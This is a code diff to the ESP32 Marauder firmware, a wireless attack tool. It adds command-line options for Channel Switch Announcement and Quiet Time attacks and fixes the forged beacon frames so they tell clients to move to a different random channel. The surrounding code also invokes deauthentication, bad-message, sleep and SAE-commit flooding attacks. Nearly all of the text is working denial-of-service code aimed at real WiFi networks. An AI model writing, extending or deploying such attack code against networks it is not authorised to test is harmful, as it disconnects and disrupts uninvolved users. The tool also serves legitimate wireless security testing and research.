diff --git a/esp32_marauder/CommandLine.cpp b/esp32_marauder/CommandLine.cpp index 8cd4d72..355a977 100644 --- a/esp32_marauder/CommandLine.cpp +++ b/esp32_marauder/CommandLine.cpp @@ -970,7 +970,6 @@ void CommandLine::runCommand(String input) { String attack_type = cmd_args.get(attack_type_switch + 1); // Branch on attack type - // Deauth if (attack_type == ATTACK_TYPE_DEAUTH) { // Default to broadcast if ((dst_addr_sw == -1) && (targ_sw == -1)) { @@ -1018,7 +1017,6 @@ void CommandLine::runCommand(String input) { wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_MANUAL, TFT_RED); } } - // Bad Msg else if (attack_type == ATTACK_TYPE_BM) { // Attack all if (targ_sw == -1) { @@ -1059,7 +1057,6 @@ void CommandLine::runCommand(String input) { wifi_scan_obj.StartScan(WIFI_ATTACK_SLEEP_TARGETED, TFT_MAGENTA); } } - // Beacon else if (attack_type == ATTACK_TYPE_BEACON) { // spam by list if (list_beacon_sw != -1) { @@ -1138,6 +1135,24 @@ void CommandLine::runCommand(String input) { #endif wifi_scan_obj.StartScan(WIFI_ATTACK_SAE_COMMIT, TFT_CYAN); } + else if (attack_type == ATTACK_TYPE_CSA) { + Serial.print(F("Starting Channel Switch Announcement attack. Stop with ")); + Serial.println(STOPSCAN_CMD); + #ifdef HAS_SCREEN + display_obj.clearScreen(); + menu_function_obj.drawStatusBar(); + #endif + wifi_scan_obj.StartScan(WIFI_ATTACK_CSA, TFT_CYAN); + } + else if (attack_type == ATTACK_TYPE_QUIET) { + Serial.print(F("Starting Quite Time attack. Stop with ")); + Serial.println(STOPSCAN_CMD); + #ifdef HAS_SCREEN + display_obj.clearScreen(); + menu_function_obj.drawStatusBar(); + #endif + wifi_scan_obj.StartScan(WIFI_ATTACK_QUIET, TFT_CYAN); + } else { Serial.println(F("Attack type not properly defined")); return; diff --git a/esp32_marauder/CommandLine.h b/esp32_marauder/CommandLine.h index 4350768..00e33dc 100644 --- a/esp32_marauder/CommandLine.h +++ b/esp32_marauder/CommandLine.h @@ -91,6 +91,8 @@ const char PROGMEM ATTACK_TYPE_RR[] = "rickroll"; const char PROGMEM ATTACK_TYPE_BM[] = "badmsg"; const char PROGMEM ATTACK_TYPE_S[] = "sleep"; const char PROGMEM ATTACK_TYPE_SAE[] = "sae"; +const char PROGMEM ATTACK_TYPE_CSA[] = "csa"; +const char PROGMEM ATTACK_TYPE_QUIET[] = "quiet"; // WiFi Aux const char PROGMEM LIST_AP_CMD[] = "list"; @@ -160,7 +162,7 @@ const char PROGMEM HELP_MAC_TRACK_CMD[] = "mactrack"; const char PROGMEM HELP_SNIFF_SAE_CMD[] = "sniffsae"; // WiFi attack -const char PROGMEM HELP_ATTACK_CMD[] = "attack -t ] [-d ]/probe/rickroll/badmsg [-c]/sleep [-c]>"; +const char PROGMEM HELP_ATTACK_CMD[] = "attack -t ] [-d ]/probe/rickroll/badmsg [-c]/sleep [-c]>"; // WiFi Aux const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s"; diff --git a/esp32_marauder/WiFiScan.cpp b/esp32_marauder/WiFiScan.cpp index d9eb12e..7c36d21 100644 --- a/esp32_marauder/WiFiScan.cpp +++ b/esp32_marauder/WiFiScan.cpp @@ -8807,6 +8807,7 @@ void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid, int scan_mode) { int post_ssid_len = 12; + uint8_t target_channel = custom_ssid.channel; #ifndef HAS_DUAL_BAND set_channel = random(1,15); @@ -8814,12 +8815,13 @@ void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_s set_channel = dual_band_channels[random(0, DUAL_BAND_CHANNELS)]; #endif if (scan_mode == WIFI_ATTACK_CSA) { + set_channel = custom_ssid.channel; post_ssid_len = 18; - while (set_channel == custom_ssid.channel) { + while (target_channel == custom_ssid.channel) { #ifndef HAS_DUAL_BAND - set_channel = random(1,15); + target_channel = random(1,15); #else - set_channel = dual_band_channels[random(0, DUAL_BAND_CHANNELS)]; + target_channel = dual_band_channels[random(0, DUAL_BAND_CHANNELS)]; #endif } } else if (scan_mode == WIFI_ATTACK_QUIET) { @@ -8881,7 +8883,7 @@ void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_s static const uint8_t post_csa[] = { 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, 0x00, - 0x25, 0x03, 0x01, 0x00, 0x03 + 0x25, 0x03, 0x01, 0x00, 0xff }; static const uint8_t post_quiet[] = { @@ -8896,7 +8898,7 @@ void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_s if (scan_mode == WIFI_ATTACK_CSA) { memcpy(temp, post_csa, sizeof(post_csa)); temp[12] = custom_ssid.channel; - temp[16] = set_channel; + temp[16] = target_channel; post = temp; post_len = sizeof(post_csa); } else if (scan_mode == WIFI_ATTACK_QUIET) {